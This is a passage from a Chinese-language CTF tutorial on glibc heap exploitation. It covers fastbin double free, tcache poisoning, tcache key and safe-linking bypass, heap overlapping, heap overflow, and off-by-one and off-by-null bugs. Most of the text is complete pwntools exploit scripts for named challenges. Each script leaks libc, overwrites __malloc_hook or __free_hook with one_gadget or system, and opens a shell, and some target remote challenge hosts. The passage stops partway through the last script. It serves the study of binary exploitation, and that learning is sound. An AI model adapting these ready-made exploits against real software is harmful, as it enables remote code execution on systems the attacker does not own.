libc2.23,没有tcache,考虑fastbin double free劫持__malloc_hook为one_gadget以get shell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
p = process('./mulnote', env = {'LD_PRELOAD':'./libc.so'})
e = ELF('./mulnote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x4526a

def cmd(command):
p.recvuntil(b">")
p.sendline(command)

def new(size:int, content):
cmd(b'C')
p.recvuntil(b"size>")
p.sendline(str(size).encode())
p.recvuntil(b"note>")
p.sendline(content)

def edit(index:int, content):
cmd(b'E')
p.recvuntil(b"index>")
p.sendline(str(index).encode())
p.recvuntil(b"new note>")
p.sendline(content)

def free(index:int):
cmd(b'R')
p.recvuntil(b"index>")
p.sendline(str(index).encode())

def show():
cmd(b'S')

def exp():
# initialize
new(0x60, b'arttnba3') # idx 0
new(0x60, b'arttnba3') # idx 1
new(0x80, b'arttnba3') # idx 2
new(0x10, b'arttnba3') # idx 3

# leak the libc
free(2)
show()
main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base: ' + hex(libc_base))

# fastbin double free
free(0)
free(1)
free(0)

# fastbin attack
new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 0
new(0x60, b'arttnba3') # idx 1
new(0x60, b'arttnba3') # idx 2, overlapping chunk with idx 0
new(0x60, b'A' * 0x13 + p64(libc_base + one_gadget))

# get the shell
cmd(b'C')
p.recvuntil(b"size>")
p.sendline(str(0x10).encode())
p.interactive()

if __name__ == '__main__':
exp()

运行即可get shell

image.png

II.tcache double free

前面讲到,由于检查十分稀松的缘故,自 libc2.2 6起引进的 tcache 机制便成为了 ptmalloc 利用的大热门,libc2.29前对于 double free 几乎视而不见的机制也让 pwn 手们不用绞尽脑汁构造以前形如A->B->A的复杂利用链

通过诸如 tcache double free 等方式,我们可以达到修改 tcache_entry 的 next 指针的目的,从而在任意地址分配到一个 chunk,这种手法也叫做tcache poisoning

到底是谁起这么多奇奇怪怪的名字(恼)

例题:ciscn_2019_es_1 - Use After Free + tcache poisoning

惯例的 checksec ,保护全开

image.png

拖入IDA进行分析

大概是有着分配、打印、释放堆块的功能

漏洞点在于释放时指针未置0,存在 UAF(暗示996的公司永远不可能被真正消灭(←🔫

image.png

libc 2.27,没有 double free检测,套板子一套带走(感觉现在大部分题目都是套板子a…)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27368)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.27.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(choice:int):
p.recvuntil(b"choice:")
p.sendline(str(choice).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Please input the size of compary's name")
p.sendline(str(size).encode())
p.recvuntil(b"please input name:")
p.send(content)
p.recvuntil(b"please input compary call:")
p.send(b';/bin/sh\x00')

def dump(index:int):
cmd(2)
p.sendline(str(index).encode())

def free(index:int):
cmd(3)
p.sendline(str(index).encode())

def exp():
new(0x10, b'arttnba3') # idx 0
new(0x10, b'arttnba3') # idx 1
new(0x80, b'arttnba3') # idx 2
new(0x10, b'/bin/sh\x00') # idx 3
free(0)
free(0)
dump(0)
p.recvuntil(b'name:\n')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base leak: ' + hex(heap_base))
free(0)
free(0)
new(0x10, p64(heap_base + 0x10)) # idx 4
new(0x10, b'\x00' + b'\x07' * 0xf) # idx 5, hijack the tcache
free(2)
dump(2)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base leak: ' + hex(libc_base))
free(0)
free(0)
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x10, p64(libc_base + libc.sym['system']))
free(3)

p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

III.tcache key bypass(libc 2.29 and up)

前面讲到,自 glibc2.29 版本起 tcache 新增了一个 key 字段,该字段位于 chunk 的 bk 字段,值为 tcache 结构体的地址,若 free() 检测到 chunk->bk == tcache 则会遍历 tcache 对应链表中是否有该chunk

在这种情况下,我们在进行 tcache double free 之前,还需要想办法绕过 tcache key 的保护,但好处是我们可以通过tcache key直接泄露堆基址

CTF中涉及 tcache key 的题目中通常都会提供有清除该key的方法,若没有也可以在填满tcache后重新回归fastbin的利用

常见的 tcache key bypass 手段如下:

  • 清除 tcache key:通过一些对于垂悬指针的利用手段将该 free chunk 中记录的 tcache key清除,从而绕过该检测
  • tcache stash with fastbin double free:在 fastbin 中并没有严密的 double free 检测,我们可以在填满对应的 tcache 链条后在 fastbin 中完成 double free,随后通过 stash 机制将 fastbin 中 chunk 倒回 tcache 中
例题1(清除tcache key):bytectf2020 - final - awd day1 - diary

点击下载-diary

大概是以下几个点:

  • delete堆块的时候没有置零存在UAF,重新edit可以清除tcache key绕过检测
  • edit时会输出堆块大小,也就是输出FD,FD指针用来存储堆块大小,可以泄露堆地址和 libc 基址
  • 由于犯了以chunk的FD指针来判断堆块大小的逻辑错误判断,于是delete后再edit可以进行堆块溢出
  • 修改__free_hook为system以后释放一个内容为”/bin/sh”的块即可get shell

笔者在比赛中踩坑的点:

  • 由于FD用于储存堆块大小,利用edit泄露main_arena的时候会破坏BK,需要手动将main_arena + 96输回去
  • 同上,由于输入都是从BK开始,故需要堆溢出改一个chunk的FD为”/bin/sh”

笔者在比赛时写的exp如下:(稍微有一丶乱…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
from LibcSearcher import *
context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./diary')#remote('', 5021)
e = ELF('./diary')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") # test locally
one_gadget = 0xe6e73

def cmd(index:int):
p.recvuntil(b'Options')
p.sendline(str(index).encode())

def new(name, size:int, content):
cmd(1)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.sendline(content)

def edit(name, content):
cmd(2)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"bytes:")
p.sendline(content)

def free(name):
cmd(3)
p.recvuntil(b"Name:")
p.sendline(name)

def guess():
cmd(4)

def exp():
new('arttnba1', 0x10, '/bin/sh\x00')
new('arttnba0', 0x10, 'arttnba0')
new('arttnba2', 0x20, 'arttnba2')
new('shell', 0x30, 'shell')
new('sheep', 0x30, 'sheep')
#gdb.attach(p)

# fill the tcache
for i in range(5):
free('arttnba0')
edit('arttnba0', '') # clear the tcache key
for i in range(5):
free('shell')
edit('shell', '')
for i in range(5):
free('arttnba2')
edit('arttnba2', '')

# leak the heap addr
free('arttnba2')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba2')
p.recvuntil(b"Input")
heap_addr = int(p.recvuntil('bytes', drop = True), 16)
p.sendline('')


new('arttnba3', 0x90, 'arttnba3')
# fill the tcache
for i in range(7):
free('arttnba3')
edit('arttnba3', '')

# leak the libc
free('arttnba3')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba3')
p.recvuntil(b"Input")
main_arena = int(p.recvuntil('bytes', drop = True), 16) - 96
p.sendline(p64(main_arena + 96)) # fix the heap
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info('libc addr: ' + hex(libc_base))

#gdb.attach(p)
# tcache poisoning
edit('arttnba0', b'A' * (0x8 + 0x50) + p64(0) + p64(0x31) + b'A' * 0 + p64(libc_base + libc.sym['__free_hook'] - 8) * 3)
new('arttnba7', 0x20, p64(libc_base + libc.sym['system'])*2)
new('freehook', 0x20, p64(libc_base + libc.sym['system'])*2)
#gdb.attach(p)
#p.interactive()
edit('shell', b'A' * (0x8 + 0x20 + 0x50) + p64(0) + p64(0x41) + b'A' * 0 + b'/bin/sh\x00' * 10)
#gdb.attach(p)
free('sheep') # system("/bin/sh")
p.interactive()


if __name__ == '__main__':
exp()
例题2(fastbin double free):ciscn_2019_final_3

惯例的 checksec ,保护全开

image.png

拖入 IDA 进行分析

直接就有一个裸的 UAF

image.png

唯一的输出功能是在每次分配之后会给出 chunk 的地址,利用这个我们可以泄露 堆基址,而我们后续若是能够分配到一个位于 libc 中的 chunk ,则毫无疑问也能泄露 libc 基址

image.png

同时题目限制了只能分配 0x78 以下的 chunk ,我们没法直接获得一个 unsorted bin chunk

image.png

题目给出的 libc 为没有 double free 检测的 2.27 版本,但是笔者个人觉得既然往后的新版本 libc 的 tcache 都有 double free 检测,现在这里主动忽视掉这一点等于是自欺欺人(),于是笔者选择通过 stash 机制绕过 double free 检测的做法

主动提高题目难度的屑人

由于题目仅仅允许分配 0x18 次 chunk,而利用 stash 绕过 double free 检测至少需要使用其中的 19 次,第 20 次才是我们的第一次任意地址写,因此我们需要精确计算利用好剩下的 4 次机会

那么在这里笔者选择劫持 tcache struct :

  • tcache struct 大小为 0x250(libc 2.27),free刚好可以放入 unsorted bin
  • 可以直接控制对应下标的 count ,而不需要想办法分配大于 0x400 的 chunk 以略过 tcache
  • 可以直接控制对应下标存放的 chunk

我们控制 tcache struct 之后直接在合适下标内 再写入 tcache 地址,二次分配后我们便能够分配到一个 libc 中的 chunk,以此泄露 libc 基址

最后就是改 __free_hooksystem 的常规流程,由于 chunk 数量限制,我们需要多次控制 tcache struct

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 26084) #process('./ciscn_final_3')
libc = ELF('./libc.so.6') #ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(choice:int):
p.recvuntil(b"choice > ")
p.sendline(str(choice).encode())


def new(index:int,size:int , content):
cmd(1)
p.recvuntil(b"input the index")
p.sendline(str(index).encode())
p.recvuntil(b"input the size")
p.sendline(str(size).encode())
p.recvuntil(b"now you can write something")
p.send(content)

def free(index:int):
cmd(2)
p.recvuntil(b"input the index")
p.sendline(str(index).encode())

def exp():
new(0, 0x70, b'arttnba3')
p.recvuntil(b"gift :")
heap_leak = int(p.recvuntil(b'\n', drop = True), 16)
log.info('heap addr leak: ' + hex(heap_leak))
heap_base = heap_leak - 0x11e70
log.success('heap base: ' + hex(heap_base))

for i in range(1,10):
new(i, 0x70, b'arttnba3')
for i in range(7):
free(i)
free(7)
free(8)
free(7)

for i in range(10,17):
new(i, 0x70, b'/bin/sh\x00')
new(17, 0x70, p64(heap_base + 0x10))
new(18, 0x70, b'arttnba3')
new(19, 0x70, b'arttnba3')
new(20, 0x70, (b'\x00' * 35 + b'\x07' * 1).ljust(0x40, b'\x00') + p64(heap_base + 0x10) * 6)
free(20)
new(21, 0x20, b'arttnba3')
new(22, 0x20, b'arttnba3')
p.recvuntil(b"gift :")
libc_leak = int(p.recvuntil(b'\n', drop = True), 16)
log.info('libc addr leak: ' + hex(libc_leak))
libc_base = libc_leak - 0x3ebca0
log.success('libc base: ' + hex(libc_base))
new(23, 0x50, (b'\x01' * 10).ljust(0x40, b'\x00') + p64(libc_base + libc.sym['__free_hook']) * 2)
new(24, 0x10, p64(libc_base + libc.sym['system']))
free(10)
p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

三、堆重叠(Heap Overlapping)

堆块重叠即我们同时拥有两个或以上的下标指向同一个 chunk(同一个地址),在这样的情况下便可以手动实现 double free 、地址泄露(例如释放一个下标后通过另一个下标打印 chunk 内容从而获得堆/libc相关地址)等各种利用,十分方便

例题:*CTF2021 - babyheap - Use After Free + tcache poisoning

比较白给的签到题

点击下载-babyheap.zip

惯例的checksec,保护全开(基本上大比赛题目都是默认保护全开的

image.png

拖入IDA进行分析

image.png

程序本身有着分配、删除、修改、打印堆块内容的功能,给的面面俱到,十分白给

漏洞点在于delete()函数中free后没有将指针置NULL,存在 Use After Free漏洞

image.png

add()函数中我们有着16个可用的下标,且分配时会直接覆写原指针,因此我们几乎是可以分配任意个chunk,但是只允许我们分配fastbin size范围的chunk

image.png

因此若想要泄露libc地址我们需要借助malloc_consolidate()将chunk送入small bins中

注意到leaveYourName()函数中会调用 malloc() 分配一个大chunk,因此我们可以通过调用该函数触发malloc_consolidate(),将 fastbin 中 chunk 送入 smallbin, 以泄露libc基址

~D9_XAV_4G5_FGKSMTED_13.png

gdb调试我们可以得知该地址与main_arena间距336,因而我们便可以得到libc基址

image.png

将这个 small bin 再分配回来我们就能够实现 chunk overlapping 了,继而就是通过程序的 edit 功能实现 tcache poisoning 修改 __free_hook 为 system() 后 free 一个内容为 “/bin/sh” 的 chunk 即可 get shell

需要注意的是edit()函数中是从 bk 的位置开始输入的,因而我们的 fake chunk 需要构造到__free_hook - 8 的位置

image.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./pwn') # p = remote('52.152.231.198', 8081)
e = ELF('./pwn')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') # libc = ELF('./libc.so.6')

def cmd(command:int):
p.recvuntil(b'>> ')
p.sendline(str(command).encode())

def new(index:int, size:int):
cmd(1)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input size")
p.sendline(str(size).encode())

def delete(index:int):
cmd(2)
p.recvuntil(b"input index")
p.sendline(str(index).encode())

def edit(index:int, content):
cmd(3)
p.recvuntil(b"input index")
p.sendline(str(index).encode())
p.recvuntil(b"input content")
p.send(content)

def dump(index:int):
cmd(4)
p.recvuntil(b"input index")
p.sendline(str(index).encode())

def leaveYourName(content):
cmd(5)
p.recvuntil(b"your name:")
p.send(content)

def exp():
for i in range(16):
new(i, 0x10)

# chunk 15 to prevent consolidate forward, so that we can get a smallbin chunk
for i in range(15):
delete(i)

# malloc_consolidate() to get a smallbin chunk, leak libc addr
leaveYourName(b'arttnba3')
#gdb.attach(p)
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 336
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Libc addr:" + str(hex(libc_base)))

#tcache poisoning
for i in range(7):
new(i, 0x10)
new(7, 0x60)
edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
delete(10)
delete(9)
delete(8)
edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))

# overwrite __free_hook
new(10, 0x10)
new(9, 0x10)
edit(9, p64(libc_base + libc.sym['system']))

# get the shell
edit(7, p64(0) * 2 + p64(0x21) + b"/bin/sh\x00")
delete(8)
p.interactive()

if __name__ == '__main__':
exp()

运行即得flag

image.png

四、堆溢出

堆溢出通常指的是在程序读取输入到堆块上时,未经严格的检测(如使用gets()读入),导致用户输入的数据可以溢出到其物理相邻高地址的chunk,从而改写其结构,予攻击者以无限的利用空间

例题:babyheap_0ctf_2017 - Unsorted bin leak + Fastbin Attack + one_gadget

似乎是比较经典的堆溢出入门题……?

惯例的checksec,保护全开

image.png

拖入IDA里进行分析(以下部分函数、变量名经过重命名)

常见的堆题基本上都是菜单题,本题也不例外image.png

我们可以发现在writeHeap()函数中并没有对我们输入的长度进行检查,存在堆溢出

image.png

故我们考虑先创建几个小堆块,再创建一个大堆块,free掉两个小堆块进入到fastbin,用堆溢出改写fastbin第一个块的fd指针为我们所申请的大堆块的地址,需要注意的是fastbin会对chunk的size进行检查,故我们还需要先通过堆溢出改写大堆块的size,之后将大堆块分配回来后我们就有两个指针指向同一个堆块

62DB8B2E56B87418664EEB947A980782.png

利用堆溢出将大堆块的size重新改大再free以送入unsorted bin,此时大堆块的fd与bk指针指向main_arena+0x58的位置,利用另外一个指向该大堆块的指针输出fd的内容即可得到main_arena+0x58的地址,就可以算出libc的基址

72934A2F942430E796048F09C96A261F.png

接下来便是fastbin attack:将某个堆块送入fastbin后改写其fd指针为__malloc_hook的地址(__malloc_hook位于main_arena上方0x10字节处),再将该堆块分配回来,此时fastbin中该链表上就会存在一个我们所伪造的位于__malloc_hook上的堆块,申请这个堆块后我们便可以改写malloc_hook上的内容为后门函数地址,最后随便分配一个堆块便可getshell

考虑到题目中并不存在可以直接getshell的后门函数,故考虑使用one_gadget以getshell

D2D612904D8AB28F1DCCE651D4B81508.png

需要注意的是fastbin存在size检查,故在这里我们选择在__malloc_hook - 0x23的位置构造fake chunk(size字段为0x7f刚好能够通过malloc(0x60)的size检查)

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')

def alloc(size:int):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(index:int,content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)

def free(index:int):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def dump(index:int):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()

alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4

free(1) #idx1
free(2) #idx2

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4

payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena

main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr

alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk

payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)

alloc(0x10)
p.interactive()

运行脚本即可get shell

image.png

off by one

off by one 通常指的是对于堆块的读写存在一个字节的溢出,利用这一个字节的溢出我们通常可以溢出到一个chunk物理相邻高地址 chunk 的 size 域,篡改其 size 域以便后续的利用(如构造 overlapping 等)

例题:[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget

又是一道堆题来了,不出所料,保 护 全 开

image.png

同时题目提示 Ubuntu16 ,也就是说没有 tcache

拖入IDA进行分析

image.png

这是一道有着分配、打印、释放、编辑堆块的功能的堆题,不难看出我们只能分配10个堆块,不过没有tcache的情况下,空间其实还是挺充足的

漏洞点在edit函数中,会多读入一个字节,存在off by one漏洞,利用这个漏洞我们可以修改一个堆块的物理相邻的下一个堆块的size

image.png

由于题目本身仅允许分配大小小于111的 chunk,而进入 unsorted bin 需要 malloc(0x80) 的 chunk ,故我们还是考虑利用 off by one 的漏洞改大一个 chunk 的 size 送入 unsorted bin 后分割造成 overlapping 的方式获得 libc 的地址

image.png

因为刚好 fastbin attack 所用的 chunk 的 size 为 0x71 ,故我们将这个大 chunk 的 size 改为 0x70 + 0x70 + 1 = 0xe1即可

传统思路是将 __malloc_hook 改为 one_gadget 以 getshell,但是直接尝试我们会发现根本无法 getshell

image.png

这是因为one_gadget并非任何时候都是通用的,都有一定的先决条件,而当前的环境刚好不满足one_gadget的环境

image.png

那么这里我们可以尝试使用 realloc 函数中的gadget来进行压栈等操作来满足 one_gadget 的要求,该段 gadget 执行完毕后会跳转至 __realloc_hook(若不为 NULL )

image.png

而 __realloc_hook 和 __malloc_hook 刚好是挨着的,我们在 fastbin attack 时可以一并修改

image.png

故考虑修改 __malloc_hook 跳转至 realloc 函数开头的 gadget 调整堆栈,修改 __realloc_hook 为 one_gadget 即可 getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p = remote('node3.buuoj.cn', 28978)
libc = ELF('./libc-2.23.so')
context.log_level = 'DEBUG'
one_gadget = 0x4526a

def cmd(command:int):
p.recvuntil(b"choice: ")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())
p.recvuntil(b"content:")
p.send(content)

def edit(index:int, content):
cmd(2)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
p.recvuntil(b"content:")
p.send(content)

def show(index:int):
cmd(3)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def free(index:int):
cmd(4)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def exp():
# initialize chunk
new(0x18, "arttnba3") # idx 0
new(0x60, "arttnba3") # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 3, prevent the top chunk consolidation

# off by one get the unsorted bin chunk
edit(0, b'A' * 0x10 + p64(0) + b'\xe1') # 0x70 + 0x70 + 1
free(1)
new(0x60, "arttnba3") # idx 1

# leak the libc addr
show(2)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = main_arena - 0x3c4b20
log.success("libc addr: " + hex(libc_base))

# overlapping and fastbin double free
new(0x60, "arttnba3") # idx 4, overlapping with idx 2
free(2)
free(1)
free(4)

# fake chunk overwrite __realloc_hook
new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 4
new(0x60, b'A' * (0x13 - 8) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10)) # idx 5, our fake chunk

# get the shell
cmd(1)
p.sendline(b'1')
p.interactive()

if __name__ == '__main__':
exp()

运行即可get shell

image.png

off by null

off by null则是off by one的一种特殊形式,即仅溢出一个'\0'字节,通常出现于读入字符串时设计逻辑失误的情况(例如使用了 strcpy 或者是手动在末尾加 \0 等)

比起off by one,该种漏洞限制了溢出的一个字节为'\0',极大地限制了我们的利用,但我们的修改仍能够达到一定的效果

例题:LCTF2018 - easy_heap - off by null + chunk overlapping + Unsorted bin Leak + one_gadget

点击下载-easy_heap

点击下载-libc64.so

惯例的checksec分析,保护全开

image.png

拖入IDA进行分析(部分函数及变量经过重命名

image.png

果不其然,传统的CTF签到题都是菜单堆题,LCTF2018也不例外

我们可以看到程序本身仅会分配大小为0xF8的堆块

image.png

同时本题只允许我们分配10个堆块,在需要用7个来填满tcache的前提下, 可用空间属实有一丶丶紧张

image.png

漏洞点存在于读入输入时,会将当前chunk的*(ptr + size)置0

image.png

我们不难想到,若是我们输入的size为0xf8,则有机会将下一个物理相邻chunk的PREV_INUSE域覆盖为0,即存在off by null漏洞

248 = 16*15 + 8

通过off by null漏洞我们便可以实现堆块的重叠(overlap):在tcache有六个chunk、我们手上有地址连续的三个chunk:A、B、C的情况下,先free掉B,送入 tcache 中保护起来,free 掉 A 送入 unsorted bin,再 malloc 回 B,覆写C的PREV_IN_USE为0,之后free掉C,触发malloc_consolidate,合并成为一个0x300的大chunk,实现overlapping

之后倒空tcache,再分配一个chunk,便会分割unsorted bin里的大chunk,此时unsorted bin里的chunk与此前的chunk B重叠,输出chunk B的内容便能获得libc基址

再分配一个chunk以得到指向相同位置上的堆块的索引,在这里构造tcache poisoning覆写__malloc_hook为one_gadget后随便分配一个chunk即可getshell

需要注意的是在释放堆块的功能函数中在free前会先清空堆块内容,故在这里无法通过修改__free_hook为system后free(“/bin/sh”)的方法来getshell,因此笔者只好选择攻击__malloc_hook

image.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
p = process('./easy_heap')
e = ELF('./easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a41c

def cmd(index:int):
p.recvuntil(b'> ')
p.sendline(str(index).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b'size \n> ')
p.sendline(str(size).encode())
p.recvuntil(b'content \n> ')
p.sendline(content)

def free(index:int):
cmd(2)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())

def dump(index:int):
cmd(3)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())

def exp():
# malloc the chunk
for i in range(10):
new(114, "arttnba3")

# fill the tcache
for i in range(7):
free(9-i)

# unsorted bin chunk consolidate
free(0)
free(1)
free(2)

# re-malloc the chunk
for i in range(10):
new(114, "arttnba3")

# fill the tcache, protect the important chunk
free(8)
for i in range(6):
free(i)

# unsorted bin overlap
free(7)
for i in range(6):
new(114, "arttnba3")
new(0xF8, "arttnba3") # idx 7, the former 8
for i in range(7):
free(i)
free(9)

# leak the libc base
for i in range(7):
new(114, "arttnba3")
new(114, "arttnba3") # idx 8
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("libc addr leak: " + hex(libc_base))

# tcache poisoning
new(114, "arttnba3") # idx 9
free(0)
free(1)
free(7)
free(2)
free(9)
new(114, p64(libc_base + libc.sym['__malloc_hook']))
new(114, "arttnba3")
new(114, "arttnba3")
new(114, p64(libc_base + one_gadget)) # fake chunk

# get the shell
cmd(1)
p.interactive()

if __name__ == '__main__':
exp()

运行,成功getshell(本地环境Ubuntu18.0.4)

image.png

五、Safe-Linkling bypass(glibc 2.32 and up)

前面我们讲到,自 glibc2.32 起新增了 safe-linking 机制用以保护存放在 tcache 与 fastbin 中的 chunk 指针,保证 chunk 链表的完整性

但是 safe-linking 机制同样存在着其缺点:对于 tcache 而言,第一个被放入 tcache 的 chunk 的 fd 指针在经过 safe-linking 后会被写入一个未加密的堆上相关地址(与 0 异或),因而我们可以通过该 chunk 的 fd 指针泄露堆基址,有了堆基址我们便能很轻松地绕过 safe-linking 机制的保护

同样地,若是我们能够打印 tcache 中 free chunk 的 bd 字段,则同样可以获得 tcache key,以此泄露堆基址,绕过 safe-linking

例题:[VNCTF 2021]ff - tcache poisoning + IO_FILE hijack

惯例的 checksec ,保护全开

image.png

拖入IDA进行分析

大致是有着分配、释放、打印、编辑堆块功能的程序,但是限制了只能编辑两次、打印一次,同时一次只能操作一个堆块

image.png

释放功能中没有清空,存在 UAF

image.png

但是libc 的版本为 2.32 ,那么我们需要用掉唯一的一次打印的机会泄露堆基址才能通过 double free 进行任意地址写

而我们还需要想办法泄露 libc 基址,但是我们只能分配 0x80 的堆块,即使劫持了 tcache struct 后所释放的堆块也只能够进入 fastbin中(而且我们一次只能操作一个堆块

image.png

考虑到 tcache管理器 本身便是一个 0x291的堆块,我们可以劫持之后改对应计数为7后free掉,送入 unsorted bin 中,之后切割这个大chunk,利用残留指针 大概1/16 的几率可以爆破到 stdout 附近,劫持 stdout 以泄露 libc 基址,最后改 __free_hook 为 system 函数后释放一个内容为 /bin/sh 的 chunk 即可 get shell

非酋的话可能要爆破很久…

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
#context.log_level = 'debug'
global p
